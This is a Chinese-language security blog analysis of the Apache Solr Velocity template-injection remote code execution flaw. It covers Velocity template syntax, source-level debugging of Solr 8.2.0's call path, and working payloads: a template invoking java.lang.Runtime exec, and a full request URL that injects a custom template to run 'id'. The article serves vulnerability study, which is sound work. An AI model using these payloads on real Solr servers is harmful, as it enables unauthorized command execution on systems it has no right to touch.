Solr 是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。
Solr是用Java编写、运行在Servlet容器(如Apache Tomcat或Jetty)的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索,并具有类似REST的HTTP/XML和JSON的API。
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
选择和Apache Solr中使用的相同的velocity-engine-core 2.0
。
在pom.xml
依赖中添加maven
坐标引入:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.0</version>
</dependency>
语句标识符
#
用来标识Velocity
的脚本语句,包括#set
、#if
、#else
、#end
、#foreach
、#end
、#include
、#parse
、#macro
等语句。
变量
$
用来标识一个变量,比如模板文件中为Hello $a
,可以获取通过上下文传递的$a
声明
set
用于声明Velocity脚本变量,变量可以在脚本中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释
单行注释为##
,多行注释为成对出现的#* ............. *#
逻辑运算
== && || !
条件语句
以if/else
为例:
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
单双引号
单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似
#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa
属性
通过.
操作符使用变量的内容,比如获取并调用getClass()
#set($e="e")
$e.getClass()
转义字符
如果$a
已经被定义,但是又需要原样输出$a
,可以试用\
转义作为关键的$
使用Velocity主要流程为:
初始化Velocity模板引擎,包括模板路径、加载类型等
创建用于存储预传递到模板文件的数据的上下文
选择具体的模板文件,传递数据完成渲染
test.java
package Velocity;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class test {
public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}
模板文件src/main/resources/test.vm
Hello World! The first velocity demo.
Name is $name.
Project is $project
输出结果:
final output:Hello World! The first velocity demo.
Name is Rai4over.
Project is Velocity
通过VelocityEngine
创建模板引擎,接着velocityEngine.setProperty
设置模板路径src/main/resources
、加载器类型为file
,最后通过velocityEngine.init()
完成引擎初始化。
通过VelocityContext()
创建上下文变量,通过put
添加模板中使用的变量到上下文。
通过getTemplate
选择路径中具体的模板文件test.vm
,创建StringWriter
对象存储渲染结果,然后将上下文变量传入template.merge
进行渲染。
修改模板内容为恶意代码,通过java.lang.Runtime
进行命令执行
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
org.apache.velocity.app.VelocityEngine
引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance
,接着调用setProperty
设置路径等参数。
org.apache.velocity.app.VelocityEngine#setProperty
ri
就是前面的RuntimeInstance
实例,跟进setProperty
方法
org.apache.velocity.runtime.RuntimeInstance#setProperty
调用setProperty(key, value)
设置键值对,最后引擎对象init()
后为:
org.apache.velocity.VelocityContext#VelocityContext()
继续调用有构造参数
org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)
this.context
被赋值为空的HashMap()
,上下文变量创建完成。
org.apache.velocity.context.AbstractContext#put
调用internalPut
函数
org.apache.velocity.VelocityContext#internalPut
调用put
存入hashMap
中,返回上层调用模板引擎对象getTemplate
加载模板文件
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)
步步跟进套娃的getTemplate
方法,然后调用getResource
方法
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)
这里首先会使用资源文件名test.vm
和资源类型1
进行拼接为资源键名1test.vm
,然后通过get
方法判断1test.vm
资源名是否在ResourceManagerImpl
对象的globalCache
缓存中,
org.apache.velocity.runtime.resource.ResourceCacheImpl#get
然后进一步判断ResourceCacheImpl
对象的cache
成员并返回判断结果。
如果资源1test.vm
被缓存命中则直接加载,如果globalCache
缓存获取失败则调用loadResource
函数加载,加载成功后也同样会根据1test.vm
资源键名放入globalCache
以便下次查找。
org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource
根据资源名称、类型通过createResource
生成资源加载器,然后调用process()
从当前资源加载器集中加载资源。
org.apache.velocity.Template#process
public boolean process()
throws ResourceNotFoundException, ParseErrorException
{
data = null;
InputStream is = null;
errorCondition = null;
/*
* first, try to get the stream from the loader
*/
try
{
is = resourceLoader.getResourceStream(name);
}
catch( ResourceNotFoundException rnfe )
{
/*
* remember and re-throw
*/
errorCondition = rnfe;
throw rnfe;
}
/*
* if that worked, lets protect in case a loader impl
* forgets to throw a proper exception
*/
if (is != null)
{
/*
* now parse the template
*/
try
{
BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
data = rsvc.parse( br, name);
initDocument();
return true;
}
getResourceStream(name)
获取命名资源作为流,进行解析和初始化
最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge
进行合并渲染。
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)
org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)
这里是上面提到的ASTprocess
类的data
,并调用render
进行渲染
org.apache.velocity.runtime.parser.node.SimpleNode#render
node
通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)
漏洞环境的关键点:
Apache Solr version 8.2.0
Apache Ant(TM) version 1.9.15
JDK,java version "1.8.0_112"
IDEA DEBUG
首先下载Apache Solr,选择版本为存在漏洞的8.2.0
,链接地址为:
https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0-src.tgz
解压后得到源码,接着需要使用ant
工具构建以供IDEA使用。
操作系统为OSX,使用brew
安装ant
,并且不要使用最新版(构建会存在BUG)且需要指定版本为1.9
。
brew install [email protected] && brew link --force [email protected]
校验ant
安装结果
~/Desktop ant -version
Apache Ant(TM) version 1.9.15 compiled on May 10 2020
接着开始构建solr
cd solr-8.2.0
ant ivy-bootstrap
ant idea
cd solr
ant server
速度会很慢,最好能科学上网,每次ant
构建都成功的话提示BUILD SUCCESSFUL
。
回到构建好的源码根目录,修改执行权限后即可运行。
cd solr/bin/
chmod 777 solr
生成测试数据并启动:
./solr -f -e dih
得到测试数据路径后为:
/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr
关闭solr
./solr stop -p 8983
设置jdwp
远程调试后重新开启solr
/solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr"
导入将构建后源码导入IDEA,并设置远程调试如下:
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)
首先需要能够访问目标Apache Solr,未做鉴权设置或者猜解进入solr应用系统。
通过API获取所有的核心:
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
可以发现示例数据有多个核心,但并非全部的核心都能利用,需要对核心的进行配置。
以solr
为例,配置文件的位置为:
/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/solrconfig.xml
QueryResponseWriter
是Solr
插件,可以定义任何请求的响应格式.
漏洞的触发需要solr
核心配置并使用velocity
插件
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>
没有配置velocity
插件的核心无法触发漏洞。
velocity
插件的params.resource.loader.enabled
选项默认情况下没有打开,无法使用自定义模板,首先需要通过请求打开该选项。
修改配置的请求时间会比较久,请求如果不为200
并报错,则可能是该核心没有配置velocity
插件,需要更换其他核心进行尝试利用漏洞。
使用自定义模板注入并进行远程命令执行
http://localhost:8983/solr/solr/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞触发分为两步
org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)
将请求对象request
、响应对象response
传入参数不同的doFilter
。
org/apache/solr/servlet/SolrDispatchFilter.java:420
创建HttpSolrCall
对象,最终call
对象中的成员的存储情况如下:
继续跟进call
方法。
org/apache/solr/servlet/HttpSolrCall.java:566
这里根据action
进行开关选择,进入PROCESS
分支,创建SolrQueryResponse
对象,然后传入execute
方法。
org.apache.solr.servlet.HttpSolrCall#execute
solrReq.getCore()
返回成员中的SolrCore
对象,并传入SolrConfigHandler
类的hanler
成员并调用execute
方法。
org.apache.solr.core.SolrCore#execute
跟进handler.handleRequest
函数
org.apache.solr.handler.RequestHandlerBase#handleRequest
org.apache.solr.handler.SolrConfigHandler#handleRequestBody
这里解析POST请求,并进入对应的command.handlePOST
。
org.apache.solr.handler.SolrConfigHandler.Command#handlePOST
通过CommandOperation.readCommands
得到ops
以及相同的opsCopy
继续跟进handleCommands
函数
org/apache/solr/handler/SolrConfigHandler.java:480
首先是updateNamedPlugin
函数生成overlay
。
org.apache.solr.handler.SolrConfigHandler.Command#updateNamedPlugin
org.apache.solr.handler.SolrConfigHandler.Command#verifyClass
org.apache.solr.core.SolrCore#createInitInstance
org.apache.solr.response.VelocityResponseWriter#init
一路跟进到VelocityResponseWriter
对象的初始化,自定义选项已经开启。
org/apache/solr/handler/SolrConfigHandler.java:504
overlay.toByteArray()
转换为JSON
格式然后传入SolrResourceLoader.persistConfLocally
。
org.apache.solr.core.SolrResourceLoader#persistConfLocally
JSON配置数据写入本地且路径为
/Users/rai4over/Desktop/solr-8.2.0/solr/example/example-DIH/solr/solr/conf/configoverlay.json
此时的调用栈为:
persistConfLocally:890, SolrResourceLoader (org.apache.solr.core)
handleCommands:504, SolrConfigHandler$Command (org.apache.solr.handler)
handlePOST:345, SolrConfigHandler$Command (org.apache.solr.handler)
access$100:159, SolrConfigHandler$Command (org.apache.solr.handler)
handleRequestBody:137, SolrConfigHandler (org.apache.solr.handler)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2578, SolrCore (org.apache.solr.core)
execute:780, HttpSolrCall (org.apache.solr.servlet)
call:566, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)
前面的流程和上面比较相似,直接看触发模板注入的位置
org/apache/solr/servlet/HttpSolrCall.java:580
首先获取前面开启params.resource.loader.enabled
选项的QueryResponseWriter
对象,接着传入writeResponse
函数。
org.apache.solr.servlet.HttpSolrCall#writeResponse
接着调用QueryResponseWriterUtil.writeQueryResponse
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse
org.apache.solr.response.VelocityResponseWriter#write
完成命令执行,此时的调用栈为:
write:150, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:873, HttpSolrCall (org.apache.solr.servlet)
call:582, HttpSolrCall (org.apache.solr.servlet)
doFilter:423, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:350, SolrDispatchFilter (org.apache.solr.servlet)
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
https://paper.seebug.org/1107/#43-poc
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/149634.html